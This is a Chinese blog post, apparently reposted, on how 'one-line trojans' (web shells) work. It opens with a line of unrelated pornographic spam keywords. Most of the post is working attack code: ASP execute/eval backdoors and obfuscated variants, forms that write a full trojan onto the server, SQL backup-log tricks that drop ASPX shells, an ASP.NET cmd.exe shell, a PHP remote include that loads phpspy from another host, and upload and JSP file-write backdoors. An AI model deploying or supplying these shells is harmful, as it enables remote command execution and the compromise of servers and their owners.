日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

一句話木馬的工作原理

 yliu277 2016-06-26

一句話木馬的工作原理:一句話木馬分析服務(wù)端與客戶端。

'一句話木馬'服務(wù)端(是用于本地的html提交腳本木馬文件)
就是我們要用來插入到asp文件中的asp語句,(不僅僅是以asp為后綴的數(shù)據(jù)庫文件),該語句將回為觸發(fā),接收入侵者通過客戶端提交的數(shù)據(jù),執(zhí)行并完成相應(yīng)的操作,服務(wù)端的代碼內(nèi)容為 <%execute request('value')%> 其中value可以自己修改

'一句話木馬'客戶端(遠(yuǎn)程服務(wù)器上被插入一句話的asp可執(zhí)行文件)
用來向服務(wù)端提交控制數(shù)據(jù)的,提交的數(shù)據(jù)通過服務(wù)端構(gòu)成完整的asp功能語句并執(zhí)行,也就是生成我們所需要的asp木馬文件

 

一句話木馬的適用環(huán)境:

1.服務(wù)器的來賓賬戶有寫入權(quán)限
2.已知數(shù)據(jù)庫地址且數(shù)據(jù)庫格式為asa或asp
3.在數(shù)據(jù)庫格式不為asp或asa的情況下,如果能將一句話插入到asp文件中也可

 

現(xiàn)在先假設(shè)在遠(yuǎn)程主機(jī)的TEXT.ASP(客戶端)中已經(jīng)有了<%execute request('value')%>這個(gè)語句.)在ASP里<%execute ............')%>意思是執(zhí)行省略號(hào)里的語句.那么如果我寫進(jìn)我們精心構(gòu)造的語句,它也是會(huì)幫我們執(zhí)行的.就按照這上面的思路,我們就可以在本地構(gòu)造一個(gè)表單內(nèi)容如下:(//為注釋)

  1. <form action=http://主機(jī)路徑/TEXT.asp method=post> 
  2.  
  3. <textarea name=value cols=120 rows=10 width=45> 
  4.  
  5. set lP=server.createObject('Adodb.Stream')//建立流對(duì)象   
  6. lP.Open //打開  
  7. lP.Type=2 //以文本方式  
  8. lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)  
  9. lP.writetext request('newvalue')  
  10.  
  11. lP.SaveToFile server.mappath('newmm.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式   
  12. lP.Close //關(guān)閉對(duì)象  
  13. set lP=nothing //釋放對(duì)象  
  14. response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp  
  15.  
  16. </textarea> 
  17.  
  18. <textarea name=newvalue cols=120 rows=10 width=45>添入生成木馬的內(nèi)容</textarea><BR><center><br> 
  19. <input type=submit value=提交> 
  20.  
  21. </form> 
  22.  

表單的作用就是把我們表單里的內(nèi)容提交到遠(yuǎn)程主機(jī)的TEXT.ASP這個(gè)文件.然后因?yàn)門EXT.ASP里有<%execute request('value')%>這句,那么這句代碼就會(huì)執(zhí)行我們從表單里傳來的內(nèi)容哦.(表單名必須和<%execute request('value')%>里的VALUE一樣,就是我用藍(lán)色標(biāo)記的那兩處,必須相等)

說到這里大家是不是清楚了.我們構(gòu)造了兩個(gè)表單,第一個(gè)表單里的代碼是文件操作的代碼(就是把第二個(gè)表單內(nèi)的內(nèi)容寫入在當(dāng)前目錄下并命名為newvalue.ASP的這么一段操作的處理代碼)那么第二個(gè)表單當(dāng)然就是我們要寫入的馬了.

具體的就是下面這一段:

  1. set lP=server.createObject('Adodb.Stream')//建立流對(duì)象   
  2. lP.Open //打開  
  3. lP.Type=2 //以文本方式  
  4. lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)  
  5. lP.writetext request('newvalue')  
  6.  
  7. lP.SaveToFile server.mappath('newvalue.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式   
  8. lP.Close //關(guān)閉對(duì)象  
  9. set lP=nothing //釋放對(duì)象  
  10. response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp  
  11.  

這樣的話第二個(gè)表單的名字必須和lP.writetext request('newvalue') 里的Newvalue一樣,就是我用紅色標(biāo)注的那兩處.
至此只要服務(wù)器有寫的權(quán)限你表單所提交的大馬內(nèi)容就會(huì)被寫入到newmm.asp中。即newmm.asp為我們的shell地址。

 

關(guān)于服務(wù)器錯(cuò)誤:

經(jīng)常,當(dāng)我們?cè)谝粋€(gè)asp文件內(nèi)添加了一句話后,就會(huì)出現(xiàn)類型不匹配的錯(cuò)誤:
 

  1. Script error detected at line 1.   
  2. Source line: execute request('nettoo')   
  3. Description: 類型不匹配: 'execute' 


這個(gè)如何解決呢?
想出了一個(gè)好辦法,只要用'eval'替換掉'execute'服務(wù)端,就不會(huì)出錯(cuò)了!
用一句話客戶端連接,加入容錯(cuò)語句,你可以把它插入到任何ASP文件而不會(huì)像以前一樣出錯(cuò)。
<%On Error Resume Next execute request('value')%>

常見asp一句話木馬的變體:

  1. <%set ms = server.CreateObject('MSScriptControl.ScriptControl.1')  
  2. ms.Language='VBScript' 
  3. ms.AddObject 'Response', Response  
  4. ms.AddObject 'request', request  
  5. ms.AddObject 'session', session  
  6. ms.AddObject 'server', server  
  7. ms.AddObject 'application', application  
  8. ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%> 
  9.  


<%ExecuteGlobal request(chr(35))%>

<%ExecuteGlobal request(chr(35))%>

<%execute request('#')%>

<%execute request(chr(35))%>

<script language=VBScript runat=server>if request(chr(35))<>'''' then
ExecuteGlobal request(chr(35))
</script>

<%ExecuteGlobal request(chr(35))%> 9月30日

<%eval request('#')%>

數(shù)據(jù)庫里插入
┼攠數(shù)畣整爠煥敵瑳∨∣┩愾

utf-7的馬
<%@ codepage=65000%>
<% response.Charset='936'%>
<%e j-x j-e j-c j-u j-t j-e j-( j-r j-e j-q j-u j-e j-s j-t j-( j- ACI-# ACI) j-) j-%>


<%set ms = server.CreateObject('MSScriptControl.ScriptControl.1')
ms.Language='VBScript'
ms.AddObject 'Response', Response
ms.AddObject 'request', request
ms.AddObject 'session', session
ms.AddObject 'server', server
ms.AddObject 'application', application
ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%>

<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==r6P. ;! /D`14Dv&X#*@!@*ErPPD4 P2Xn^ED VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>


各種環(huán)境下的一句話木馬:

aspx

1.相當(dāng)于ASP的一句話木馬:

程序代碼

alter database pubs set RECOVERY FULL--
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:/TM' with init
insert into pubs.dbo.cmd(a) values ('<%@ Page Language='C#' validateRequest='false' %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath('images.aspx'),false);ow.Write(Request.Params['l']);ow.Close()%> ')
backup log pubs to disk = 'd:/test11.aspx'
//這個(gè)和asp的一樣,客戶端post一個(gè)變量l 把木馬代碼丟在變量l里面就ok了 這個(gè)是類似asp的一句話木馬。
//mu.aspx.htm 客戶端:(提交后訪問:http://IP/images.aspx)
 

  1. <form action=http://192.168.2.100/asp/mu.aspx method=post>   
  2. <b>在下面輸入大馬內(nèi)容:</b><br> 
  3. <textarea name=l cols=120 rows=35 width=45>   
  4. <%@ Page Language='VB' Debug='true' %> 
  5. <%@ import Namespace='system.IO' %> 
  6. <%@ import Namespace='System.Diagnostics' %> 
  7. <script runat='server'>   
  8. Sub RunCmd(Src As Object, E As EventArgs)   
  9. Dim myProcess As New Process()   
  10. Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)   
  11. myProcessStartInfo.UseShellExecute = False   
  12. myProcessStartInfo.RedirectStandardOutput = true   
  13. myProcess.StartInfo = myProcessStartInfo   
  14. myProcessStartInfo.Arguments=xCmd.text  
  15. myProcess.Start()  
  16. Dim myStreamReader As StreamReader = myProcess.StandardOutput   
  17. Dim myString As String = myStreamReader.Readtoend()  
  18. myProcess.Close()  
  19. mystring=replace(mystring,'<','<')  
  20. mystring=replace(mystring,'>','>')  
  21. result.textvbcrlf & '<pre>' & mystring & '</pre>'  
  22. End Sub   
  23. </script><html><head> 
  24. <title>ASP.NET Shell for WebAdmin2.X Final</title> 
  25. <meta http-equiv='Content-Type' c /></head><body> 
  26. <form runat='server'> 
  27. <asp:Label id='L_p' style='COLOR: #0000ff' runat='server' width='80px'>;Program</asp:Label> 
  28. <asp:TextBox id='xpath' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px'>c:/windows/system32/cmd.exe</asp:TextBox><br /> 
  29. <asp:Label id='L_a' style='COLOR: #0000ff' runat='server' width='80px'>Arguments</asp:Label> 
  30. <asp:TextBox id='xcmd' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px' Text='/c net user'>/c net user</asp:TextBox><br /> 
  31. <asp:Button id='Button' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5' runat='server' Width='100px' Text='Run'></asp:Button><p> 
  32. <asp:Label id='result' style='COLOR: #0000ff' runat='server'></asp:Label> </p></form></body></html> 
  33. </textarea><BR><center><br>   
  34. <input type=submit value=提交> 

 

2、下面這個(gè)是我找網(wǎng)上的asp.net的上傳文件程序,修改精簡(jiǎn)了下,也可以用:

 

程序代碼

drop table pubs.dbo.cmd
alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:/TM' with init
insert into pubs.dbo.cmd(a) values ('<script language='c#' runat='server'>private void bc(object o,EventArgs e) {string u='files';string filename;int pos=f.PostedFile.FileName.LastIndexOf('//');filename=f.PostedFile.FileName.Substring(pos 1);f.PostedFile.SaveAs(Server.MapPath(u) '//' filename);}</script><form method='post' runat='server'><input type='file' id='f' runat='server'/><input type='submit' value='ss' runat='Server' /></form>')
backup log pubs to disk = 'c:/inetpub/wwwroot/test11.aspx'


PHP

本文沒有什么特別之處,僅求拋磚引玉。并送給和我一樣菜的在PHP門邊徘徊的朋友。
剛學(xué)PHP沒幾天,我就急于功成,所以有錯(cuò)誤及不足之處請(qǐng)大家積極指出。
PHP語法的強(qiáng)大是ASP望塵莫及的,僅一個(gè):<? phpinfo();?>就可以刺探整個(gè)服務(wù)器的配置。運(yùn)行cmd,上傳文件等,都是非常簡(jiǎn)便的,現(xiàn)在用的好的PHP木馬,莫過于angel的phpspy了。昨天hak_ban問怎么給PHP木馬加密,我還沒想到,但是對(duì)于寫一個(gè)微型PHP木馬,我想還是很難被殺的。
這里簡(jiǎn)單探討一下幾個(gè)函數(shù)可以作為木馬的使用:

1. 可以運(yùn)行外部命令的幾個(gè)函數(shù):system,passthru,exec,shell_exec,popen。
例:只要將<?system($cmd);?>等保存為cmd.php及可實(shí)現(xiàn)運(yùn)行外部命令的功能。這幾個(gè)函數(shù)可以說是最早的微行php木馬了,所以一般虛擬主機(jī)的設(shè)置也會(huì)將這些函數(shù)屏蔽的。

2.還記得WDB論壇的style.php的漏洞嗎?我們可以利用這個(gè)做個(gè)很難被殺的小木馬。如下:
 

  1. <?php include($include);?> 


將其保存為1.php ,我們就可以調(diào)用其他不支持php服務(wù)器里的.php木馬(如phpspy.php)來達(dá)到我們的目的:http:///1.php? Include=http://www./phpspy.php
這里http://www.是不支持php的,否則將會(huì)在http://www.這臺(tái)服務(wù)器運(yùn)行phpspy.php,而不是目標(biāo)服務(wù)器。

3. 這個(gè)還是angel在Discuz 2.2F的攻擊中給我們的一個(gè)非常好的上傳木馬,我沒有改:
 

  1. <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> 


將其保存為up.php后,在本地提交表單:
 

  1. <form ENCTYPE='multipart/form-data' ACTION='http://目標(biāo)服務(wù)器/up.php' METHOD='POST'> 
  2. <input NAME='MyFile' TYPE='file'> 
  3. <input VALUE=' 提交 ' TYPE='submit'> 
  4. </form> 


就可以把大個(gè)的php木馬上傳上去。

4. 我一直在想有沒有同冰狐浪子的那個(gè)ASP一句話木馬一樣通過本地表單提交運(yùn)行的PHP木馬。終于找到了函數(shù):eval,在PHP4中文參考手冊(cè)上它的語法說明:
語法: void eval(string code_str);
內(nèi)容說明:本函數(shù)可將字符串之中的變量值代入,通常用在處理數(shù)據(jù)庫的資料上。參數(shù) code_str 為欲處理的字符串。值的 注意的是待處理的字符串要符合 PHP 的字符串格式,同時(shí)在結(jié)尾處要有分號(hào)。使用本函數(shù)處理后的字符串會(huì)沿續(xù)到 PHP 程序結(jié)束。

我們可以在目標(biāo)主機(jī)上保存:<?eval($cmd);?>為一個(gè)PHP文件(我想也可以插在PHP任意文件里)。然后通過本地提交來達(dá)到目的,但與ASP不同的是,在magic_quotes_gpc = on的時(shí)候,過濾的很多的字符,使得這個(gè)使用功能大大的縮小。

對(duì)于這個(gè)PHP木馬本地表單我做了很多次,還沒有成熟的代碼。還請(qǐng)高手指教。寫好后會(huì)奉獻(xiàn)給大家的。但是eval這個(gè)函數(shù)可以做微型PHP木馬是無須質(zhì)疑的。
Ps:寫完后,有人告訴我,其實(shí)高手早就有微型的PHP木馬了,只是沒有公開。哎,我好郁悶啊,研究的都是人家早就有了的成果。不管怎么樣,和大家分享一下我的研究,希望能得到幫助和指教。


JSP

  1. <%  
  2. if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('//') request.getParameter('f'))).write(request.getParameter('t').getBytes());  
  3. %> 


這個(gè) 后門估計(jì)不用我說了吧.還是提示一下咯.保存為1.jsp 提交url!

http://localhost/1.jsp?f=1.txt&t=hello

然后:http://localhost/1.txt 就出來了 內(nèi)容為 hello .....

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多